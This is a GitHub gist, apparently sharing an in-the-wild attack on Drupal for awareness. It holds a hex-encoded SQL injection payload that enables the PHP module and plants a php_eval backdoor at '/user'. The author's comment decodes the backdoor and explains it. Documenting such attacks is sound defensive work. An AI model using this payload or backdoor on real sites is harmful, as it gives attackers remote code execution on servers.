Skip to content

Instantly share code, notes, and snippets.

@scor
Created October 17, 2014 07:15
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save scor/b566c0f4d94c5b012f6b to your computer and use it in GitHub Desktop.
Save scor/b566c0f4d94c5b012f6b to your computer and use it in GitHub Desktop.
Enable PHP module for arbitrary PHP code execution at /user
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);#
@scor
Copy link
Author

scor commented Oct 17, 2014

First seen at 23:38:23 UTC. This will enable the PHP module and update the '/user' menu_router access_callback to 'php_eval' and access_argument to

'a:1:{s:4:\"code\";s:61:\"<?php @eval(@base64_decode(@$_REQUEST[86d99ca80c40976a])); ?>\";}'

It will allow an attacker to execute any PHP code sent most likely via cookie or POST to avoid being logged.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment